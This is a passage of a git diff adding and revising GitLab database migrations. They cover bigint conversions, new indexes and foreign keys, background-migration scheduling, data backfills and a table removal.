+
+ def down
+ with_lock_retries do
+ remove_column :project_ci_cd_settings, :job_token_scope_enabled
+ end
+ end
+end
diff --git a/db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb b/db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb
new file mode 100644
index 00000000000..490a7f2e960
--- /dev/null
+++ b/db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfCiStagesToBigint < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_stages
+ COLUMNS = %i(id)
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+end
diff --git a/db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb b/db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb
new file mode 100644
index 00000000000..6376305c784
--- /dev/null
+++ b/db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillCiStagesForBigintConversion < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_stages
+ COLUMNS = %i(id)
+
+ def up
+ backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+end
diff --git a/db/migrate/20210609013512_add_unique_index_for_batched_background_migrations.rb b/db/migrate/20210609013512_add_unique_index_for_batched_background_migrations.rb
new file mode 100644
index 00000000000..28214aedce6
--- /dev/null
+++ b/db/migrate/20210609013512_add_unique_index_for_batched_background_migrations.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class AddUniqueIndexForBatchedBackgroundMigrations < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ TABLE_NAME = :batched_background_migrations
+ INDEX_NAME = 'index_batched_background_migrations_on_unique_configuration'
+ REDUNDANT_INDEX_NAME = 'index_batched_migrations_on_job_table_and_column_name'
+
+ def up
+ add_concurrent_index TABLE_NAME,
+ %i[job_class_name table_name column_name job_arguments],
+ unique: true,
+ name: INDEX_NAME
+
+ remove_concurrent_index_by_name TABLE_NAME, REDUNDANT_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index TABLE_NAME,
+ %i[job_class_name table_name column_name],
+ name: REDUNDANT_INDEX_NAME
+
+ remove_concurrent_index_by_name TABLE_NAME, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210609090856_add_expiry_id_ssh_key_notification_index.rb b/db/migrate/20210609090856_add_expiry_id_ssh_key_notification_index.rb
new file mode 100644
index 00000000000..406bbe2095f
--- /dev/null
+++ b/db/migrate/20210609090856_add_expiry_id_ssh_key_notification_index.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class AddExpiryIdSshKeyNotificationIndex < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_keys_on_expires_at_and_id'
+
+ def up
+ add_concurrent_index :keys,
+ "date(timezone('UTC', expires_at)), id",
+ where: 'expiry_notification_delivered_at IS NULL',
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :keys, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210609192728_add_status_check_foreign_key_to_external_status_check_id.rb b/db/migrate/20210609192728_add_status_check_foreign_key_to_external_status_check_id.rb
new file mode 100644
index 00000000000..461d5838aed
--- /dev/null
+++ b/db/migrate/20210609192728_add_status_check_foreign_key_to_external_status_check_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddStatusCheckForeignKeyToExternalStatusCheckId < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :external_status_checks_protected_branches, :external_status_checks, column: :external_status_check_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :external_status_checks_protected_branches, column: :external_status_check_id
+ end
+ end
+end
diff --git a/db/migrate/20210609193101_add_status_check_foreign_key_to_protected_branch_id.rb b/db/migrate/20210609193101_add_status_check_foreign_key_to_protected_branch_id.rb
new file mode 100644
index 00000000000..6eeee60ec3a
--- /dev/null
+++ b/db/migrate/20210609193101_add_status_check_foreign_key_to_protected_branch_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddStatusCheckForeignKeyToProtectedBranchId < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :external_status_checks_protected_branches, :protected_branches, column: :protected_branch_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :external_status_checks_protected_branches, column: :protected_branch_id
+ end
+ end
+end
diff --git a/db/migrate/20210610102410_add_protected_attribute_to_pending_builds.rb b/db/migrate/20210610102410_add_protected_attribute_to_pending_builds.rb
new file mode 100644
index 00000000000..026fa0d7043
--- /dev/null
+++ b/db/migrate/20210610102410_add_protected_attribute_to_pending_builds.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddProtectedAttributeToPendingBuilds < ActiveRecord::Migration[6.1]
+ def change
+ add_column :ci_pending_builds, :protected, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20210611100359_rebuild_index_for_cadence_iterations_automation.rb b/db/migrate/20210611100359_rebuild_index_for_cadence_iterations_automation.rb
new file mode 100644
index 00000000000..ecd8bac22be
--- /dev/null
+++ b/db/migrate/20210611100359_rebuild_index_for_cadence_iterations_automation.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class RebuildIndexForCadenceIterationsAutomation < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ INDEX_NAME = 'cadence_create_iterations_automation'
+
+ disable_ddl_transaction!
+
+ def up
+ return if index_exists_and_is_valid?
+
+ remove_concurrent_index_by_name :iterations_cadences, INDEX_NAME
+
+ disable_statement_timeout do
+ execute(
+ <<-SQL
+ CREATE INDEX CONCURRENTLY #{INDEX_NAME} ON iterations_cadences
+ USING BTREE(automatic, duration_in_weeks, (DATE ((COALESCE("iterations_cadences"."last_run_date", DATE('01-01-1970')) + "iterations_cadences"."duration_in_weeks" * INTERVAL '1 week'))))
+ WHERE duration_in_weeks IS NOT NULL
+ SQL
+ )
+ end
+ end
+
+ def down
+ remove_concurrent_index_by_name :iterations_cadences, INDEX_NAME
+ end
+
+ def index_exists_and_is_valid?
+ execute(
+ <<-SQL
+ SELECT identifier
+ FROM postgres_indexes
+ WHERE identifier LIKE '%#{INDEX_NAME}' AND valid_index=TRUE
+ SQL
+ ).any?
+ end
+end
diff --git a/db/migrate/20210614131002_add_detection_method_to_vulnerabilities_finding.rb b/db/migrate/20210614131002_add_detection_method_to_vulnerabilities_finding.rb
new file mode 100644
index 00000000000..cc37c5f1020
--- /dev/null
+++ b/db/migrate/20210614131002_add_detection_method_to_vulnerabilities_finding.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddDetectionMethodToVulnerabilitiesFinding < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ add_column :vulnerability_occurrences, :detection_method, :smallint, null: false, default: 0
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :vulnerability_occurrences, :detection_method
+ end
+ end
+end
diff --git a/db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb b/db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
index 04cf5906b61..f337390f10c 100644
--- a/db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
+++ b/db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
@@ -18,12 +18,12 @@ class ScheduleCalculateWikiSizes < ActiveRecord::Migration[5.0]
disable_ddl_transaction!
+ # Disabling this old migration because it should already run
+ # in 14.0. This will allow us to remove some `technical debt`
+ # in ProjectStatistics model, because of some columns
+ # not present by the time the migration is run.
def up
- queue_background_migration_jobs_by_range_at_intervals(
- ::ScheduleCalculateWikiSizes::ProjectStatistics.without_wiki_size,
- MIGRATION,
- BATCH_TIME,
- batch_size: BATCH_SIZE)
+ # no-op
end
def down
diff --git a/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb b/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb
new file mode 100644
index 00000000000..7d4d97acf58
--- /dev/null
+++ b/db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class ScheduleUpdateJiraTrackerDataDeploymentTypeBasedOnUrl < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ MIGRATION = 'UpdateJiraTrackerDataDeploymentTypeBasedOnUrl'
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 2_500
+
+ disable_ddl_transaction!
+
+ def up
+ say "Scheduling #{MIGRATION} jobs"
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('jira_tracker_data'),
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb b/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb
new file mode 100644
index 00000000000..96eea2d5d77
--- /dev/null
+++ b/db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class ScheduleRecalculateUuidOnVulnerabilitiesOccurrences2 < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ MIGRATION = 'RecalculateVulnerabilitiesOccurrencesUuid'
+ DELAY_INTERVAL = 2.minutes.to_i
+ BATCH_SIZE = 2_500
+
+ disable_ddl_transaction!
+
+ class VulnerabilitiesFinding < ActiveRecord::Base
+ include ::EachBatch
+ self.inheritance_column = :_type_disabled
+
+ self.table_name = "vulnerability_occurrences"
+ end
+
+ def up
+ # Make sure that RemoveDuplicateVulnerabilitiesFindings has finished running
+ # so that we don't run into duplicate UUID issues
+ Gitlab::BackgroundMigration.steal('RemoveDuplicateVulnerabilitiesFindings')
+
+ say "Scheduling #{MIGRATION} jobs"
+ queue_background_migration_jobs_by_range_at_intervals(
+ VulnerabilitiesFinding,
+ MIGRATION,
+ DELAY_INTERVAL,
+ batch_size: BATCH_SIZE,
+ track_jobs: true
+ )
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb b/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb
new file mode 100644
index 00000000000..f832b06d439
--- /dev/null
+++ b/db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillCiBuildTraceSectionsForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_build_trace_sections
+ COLUMN = :build_id
+
+ def up
+ backfill_conversion_of_integer_to_bigint TABLE, COLUMN, batch_size: 15000, sub_batch_size: 100, primary_key: COLUMN
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMN, primary_key: COLUMN
+ end
+end
diff --git a/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb b/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb
new file mode 100644
index 00000000000..665d274a0ee
--- /dev/null
+++ b/db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class CleanupMoveContainerRegistryEnabledToProjectFeature < ActiveRecord::Migration[6.0]
+ MIGRATION = 'MoveContainerRegistryEnabledToProjectFeature'
+
+ disable_ddl_transaction!
+
+ def up
+ Gitlab::BackgroundMigration.steal(MIGRATION)
+
+ bg_migration_job_class = define_background_migration_jobs_class
+ bg_migration_job_class.where(class_name: MIGRATION, status: bg_migration_job_class.statuses['pending']).each do |job|
+ Gitlab::BackgroundMigration::MoveContainerRegistryEnabledToProjectFeature.new.perform(*job.arguments)
+ end
+
+ bg_migration_job_class.where(class_name: MIGRATION).delete_all
+ end
+
+ def down
+ # no-op
+ end
+
+ private
+
+ def define_background_migration_jobs_class
+ Class.new(ActiveRecord::Base) do
+ self.table_name = 'background_migration_jobs'
+ self.inheritance_column = :_type_disabled
+
+ enum status: {
+ pending: 0,
+ succeeded: 1
+ }
+ end
+ end
+end
diff --git a/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb b/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb
new file mode 100644
index 00000000000..76e4a0a95bb
--- /dev/null
+++ b/db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class ScheduleCleanupOrphanedLfsObjectsProjects < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ MIGRATION = 'CleanupOrphanedLfsObjectsProjects'
+ DELAY_INTERVAL = 2.minutes
+ BATCH_SIZE = 50_000
+
+ disable_ddl_transaction!
+
+ class LfsObjectsProject < ActiveRecord::Base
+ self.table_name = 'lfs_objects_projects'
+
+ include ::EachBatch
+ end
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(LfsObjectsProject, MIGRATION, DELAY_INTERVAL, batch_size: BATCH_SIZE)
+ end
+
+ def down
+ # NOOP
+ end
+end
diff --git a/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb b/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb
new file mode 100644
index 00000000000..8583f8541c7
--- /dev/null
+++ b/db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class ScheduleDisableExpirationPoliciesLinkedToNoContainerImages < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ BATCH_SIZE = 30_000
+ DELAY = 2.minutes.freeze
+ DOWNTIME = false
+ MIGRATION = 'DisableExpirationPoliciesLinkedToNoContainerImages'
+
+ disable_ddl_transaction!
+
+ def up
+ queue_background_migration_jobs_by_range_at_intervals(
+ define_batchable_model('container_expiration_policies').where(enabled: true),
+ MIGRATION,
+ DELAY,
+ batch_size: BATCH_SIZE,
+ track_jobs: false,
+ primary_column_name: :project_id
+ )
+ end
+
+ def down
+ # this migration is irreversible
+
+ # we can't accuretaly know which policies were previously enabled during the background migration
+ end
+end
diff --git a/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb b/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb
new file mode 100644
index 00000000000..6cd9b1173b6
--- /dev/null
+++ b/db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class BackfillClustersIntegrationPrometheusEnabled < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ ApplicationRecord.connection.execute(<<~SQL.squish)
+ WITH executed_at AS (VALUES (TIMEZONE('UTC', NOW())))
+ INSERT INTO clusters_integration_prometheus(
+ cluster_id,
+ enabled,
+ encrypted_alert_manager_token,
+ encrypted_alert_manager_token_iv,
+ created_at,
+ updated_at
+ )
+ SELECT
+ cluster_id,
+ true,
+ encrypted_alert_manager_token,
+ encrypted_alert_manager_token_iv,
+ (table executed_at),
+ (table executed_at)
+ FROM clusters_applications_prometheus
+ WHERE status IN (
+ 3, /* installed */
+ 11 /* externally installed */
+ )
+ ON CONFLICT(cluster_id) DO UPDATE SET
+ enabled = true,
+ encrypted_alert_manager_token = EXCLUDED.encrypted_alert_manager_token,
+ encrypted_alert_manager_token_iv = EXCLUDED.encrypted_alert_manager_token_iv,
+ updated_at = (table executed_at)
+ SQL
+ end
+
+ def down
+ # Irreversible
+ end
+end
diff --git a/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb b/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb
new file mode 100644
index 00000000000..3aeabbcc0ad
--- /dev/null
+++ b/db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillCiBuildsMetadataForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_builds_metadata
+ COLUMN = :build_id
+
+ def up
+ backfill_conversion_of_integer_to_bigint TABLE, COLUMN, batch_size: 15000, sub_batch_size: 100
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMN
+ end
+end
diff --git a/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb b/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb
new file mode 100644
index 00000000000..f972815cf67
--- /dev/null
+++ b/db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+class BackfillEscalationPoliciesForOncallSchedules < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ # Creates a single new escalation policy for projects which have
+ # existing on-call schedules. Only one schedule is expected
+ # per project, but it is possible to have multiple.
+ #
+ # An escalation rule is created for each existing schedule,
+ # configured to immediately notify the schedule of an incoming
+ # alert payload unless the alert has already been acknowledged.
+ # For projects with multiple schedules, the name of the first saved
+ # schedule will be used for the policy's description.
+ #
+ # Skips projects which already have escalation policies & schedules.
+ #
+ # EX)
+ # For these existing records:
+ # Project #3
+ # IncidentManagement::OncallSchedules #13
+ # project_id: 3
+ # name: 'Awesome Schedule'
+ # description: null
+ # IncidentManagement::OncallSchedules #14
+ # project_id: 3
+ # name: '2ndary sched'
+ # description: 'Backup on-call'
+ #
+ # These will be inserted:
+ # EscalationPolicy #1
+ # project_id: 3
+ # name: 'On-call Escalation Policy'
+ # description: 'Immediately notify Awesome Schedule'
+ # EscalationRule #1
+ # policy_id: 1,
+ # oncall_schedule_id: 13
+ # status: 1 # Acknowledged status
+ # elapsed_time_seconds: 0
+ # EscalationRule #2
+ # policy_id: 1,
+ # oncall_schedule_id: 14
+ # status: 1 # Acknowledged status
+ # elapsed_time_seconds: 0
+ def up
+ ApplicationRecord.connection.exec_query(<<~SQL.squish)
+ WITH new_escalation_policies AS (
+ INSERT INTO incident_management_escalation_policies (
+ project_id,
+ name,
+ description
+ )
+ SELECT
+ DISTINCT ON (project_id) project_id,
+ 'On-call Escalation Policy',
+ CONCAT('Immediately notify ', name)
+ FROM incident_management_oncall_schedules
+ WHERE project_id NOT IN (
+ SELECT DISTINCT project_id
+ FROM incident_management_escalation_policies
+ )
+ ORDER BY project_id, id
+ RETURNING id, project_id
+ )
+
+ INSERT INTO incident_management_escalation_rules (
+ policy_id,
+ oncall_schedule_id,
+ status,
+ elapsed_time_seconds
+ )
+ SELECT
+ new_escalation_policies.id,
+ incident_management_oncall_schedules.id,
+ 1,
+ 0
+ FROM new_escalation_policies
+ INNER JOIN incident_management_oncall_schedules
+ ON new_escalation_policies.project_id = incident_management_oncall_schedules.project_id
+ SQL
+ end
+
+ # There is no way to distinguish between policies created
+ # via the backfill or as a result of a user creating a new
+ # on-call schedule.
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb b/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb
new file mode 100644
index 00000000000..d554b412420
--- /dev/null
+++ b/db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+class BackfillPkConversionForSelfManaged < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ CONVERSIONS = [
+ { table: :events, columns: %i(id), sub_batch_size: 500 },
+ { table: :push_event_payloads, columns: %i(event_id), sub_batch_size: 2500, primary_key: :event_id },
+ { table: :ci_job_artifacts, columns: %i(id job_id), sub_batch_size: 2000 },
+ { table: :ci_sources_pipelines, columns: %i(source_job_id), sub_batch_size: 100 },
+ { table: :ci_build_needs, columns: %i(build_id), sub_batch_size: 1000 },
+ { table: :ci_builds, columns: %i(id stage_id), sub_batch_size: 250 },
+ { table: :ci_builds_runner_session, columns: %i(build_id), sub_batch_size: 5000 },
+ { table: :ci_build_trace_chunks, columns: %i(build_id), sub_batch_size: 1000 }
+ ]
+
+ def up
+ return unless should_run?
+
+ CONVERSIONS.each do |conversion|
+ backfill_conversion_of_integer_to_bigint(
+ conversion[:table], conversion[:columns],
+ sub_batch_size: conversion[:sub_batch_size], primary_key: conversion.fetch(:primary_key, :id)
+ )
+ end
+ end
+
+ def down
+ return unless should_run?
+
+ CONVERSIONS.each do |conversion|
+ revert_backfill_conversion_of_integer_to_bigint(
+ conversion[:table], conversion[:columns],
+ primary_key: conversion.fetch(:primary_key, :id)
+ )
+ end
+ end
+
+ private
+
+ def should_run?
+ !Gitlab.com?
+ end
+end
diff --git a/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb b/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb
new file mode 100644
index 00000000000..c380f15188a
--- /dev/null
+++ b/db/post_migrate/20210525075724_clean_up_pending_builds_table.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+class CleanUpPendingBuildsTable < ActiveRecord::Migration[6.0]
+ include ::Gitlab::Database::DynamicModelHelpers
+
+ BATCH_SIZE = 1000
+
+ disable_ddl_transaction!
+
+ def up
+ return unless Gitlab.dev_or_test_env? || Gitlab.com?
+
+ each_batch_range('ci_pending_builds', of: BATCH_SIZE) do |min, max|
+ execute <<~SQL
+ DELETE FROM ci_pending_builds
+ USING ci_builds
+ WHERE ci_builds.id = ci_pending_builds.build_id
+ AND ci_builds.status != 'pending'
+ AND ci_builds.type = 'Ci::Build'
+ AND ci_pending_builds.id BETWEEN #{min} AND #{max}
+ SQL
+ end
+ end
+
+ def down
+ # noop
+ end
+end
diff --git a/db/post_migrate/20210526160133_remove_segment_selections_table.rb b/db/post_migrate/20210526160133_remove_segment_selections_table.rb
new file mode 100644
index 00000000000..02e981b40ba
--- /dev/null
+++ b/db/post_migrate/20210526160133_remove_segment_selections_table.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class RemoveSegmentSelectionsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ drop_table :analytics_devops_adoption_segment_selections
+ end
+
+ def down
+ create_table :analytics_devops_adoption_segment_selections do |t|
+ t.references :segment, index: { name: 'index_on_segment_selections_segment_id' }, null: false, foreign_key: { to_table: :analytics_devops_adoption_segments, on_delete: :cascade }
+ t.bigint :group_id
+ t.bigint :project_id
+ t.index [:group_id, :segment_id], unique: true, name: 'index_on_segment_selections_group_id_segment_id'
+ t.index [:project_id, :segment_id], unique: true, name: 'index_on_segment_selections_project_id_segment_id'
+
+ t.timestamps_with_timezone
+ end
+ add_concurrent_foreign_key(:analytics_devops_adoption_segment_selections, :projects, column: :project_id, on_delete: :cascade)
+ add_concurrent_foreign_key(:analytics_devops_adoption_segment_selections, :namespaces, column: :group_id, on_delete: :cascade)
+ add_check_constraint :analytics_devops_adoption_segment_selections, '(project_id != NULL AND group_id IS NULL) OR (group_id != NULL AND project_id IS NULL)', 'segment_selection_project_id_or_group_id_required'
+ end
+end
diff --git a/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb b/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb
new file mode 100644
index 00000000000..8ff0e306ad5
--- /dev/null
+++ b/db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class BackfillDraftStatusOnMergeRequests < ActiveRecord::Migration[6.0]
+ # include Gitlab::Database::MigrationHelpers
+
+ # Marking these as no-op as the original contents caused timeouts on
+ # staging. Removing the code here per
+ # #https://docs.gitlab.com/ee/development/deleting_migrations.html#how-to-disable-a-data-migration
+ # =>
+ def up
+ # no-op
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb b/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb
new file mode 100644
index 00000000000..6dec99c8acd
--- /dev/null
+++ b/db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class CleanUpRenameExperimentSubjectsGroupIdToNamespaceId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers::V2
+
+ disable_ddl_transaction!
+
+ def up
+ cleanup_concurrent_column_rename :experiment_subjects, :group_id, :namespace_id
+ end
+
+ def down
+ undo_cleanup_concurrent_column_rename :experiment_subjects, :group_id, :namespace_id
+ end
+end
diff --git a/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb b/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb
new file mode 100644
index 00000000000..7aac4446c0c
--- /dev/null
+++ b/db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class FinalizeRenameInstanceStatisticsMeasurements < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ finalize_table_rename(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
+ end
+
+ def down
+ undo_finalize_table_rename(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
+ end
+end
diff --git a/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb b/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb
new file mode 100644
index 00000000000..85302ee1d20
--- /dev/null
+++ b/db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class FixTotalStageInVsa < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ TOTAL_STAGE = 'Total'
+
+ class GroupStage < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'analytics_cycle_analytics_group_stages'
+ end
+
+ def up
+ GroupStage.reset_column_information
+
+ GroupStage.each_batch(of: 100) do |relation|
+ relation.where(name: TOTAL_STAGE, custom: false).update_all(custom: true)
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb b/db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb
new file mode 100644
index 00000000000..5e540c7f359
--- /dev/null
+++ b/db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class RetryBackfillTraversalIds < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::MigrationHelpers
+
+ ROOTS_MIGRATION = 'BackfillNamespaceTraversalIdsRoots'
+ CHILDREN_MIGRATION = 'BackfillNamespaceTraversalIdsChildren'
+ DOWNTIME = false
+ DELAY_INTERVAL = 2.minutes
+
+ disable_ddl_transaction!
+
+ def up
+ duration = requeue_background_migration_jobs_by_range_at_intervals(ROOTS_MIGRATION, DELAY_INTERVAL)
+ requeue_background_migration_jobs_by_range_at_intervals(CHILDREN_MIGRATION, DELAY_INTERVAL, initial_delay: duration)
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb b/db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb
new file mode 100644
index 00000000000..64d37054eb8
--- /dev/null
+++ b/db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+class AddIndexForContainerRegistryAccessLevel < ActiveRecord::Migration[6.1]
+ include Gitlab::Database::SchemaHelpers
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX = 'index_project_features_on_project_id_include_container_registry'
+
+ def up
+ if index_exists_by_name?('project_features', INDEX)
+ Gitlab::AppLogger.warn "Index not created because it already exists (this may be due to an aborted migration or similar): table_name: project_features, index_name: #{INDEX}"
+ return
+ end
+
+ begin
+ disable_statement_timeout do
+ execute "CREATE UNIQUE INDEX CONCURRENTLY #{INDEX} ON project_features " \
+ 'USING btree (project_id) INCLUDE (container_registry_access_level)'
+ end
+ rescue ActiveRecord::StatementInvalid => ex
+ raise "The index #{INDEX} couldn't be added: #{ex.message}"
+ end
+
+ create_comment(
+ 'INDEX',
+ INDEX,
+ 'Included column (container_registry_access_level) improves performance of the ContainerRepository.for_group_and_its_subgroups scope query'
+ )
+ end
+
+ def down
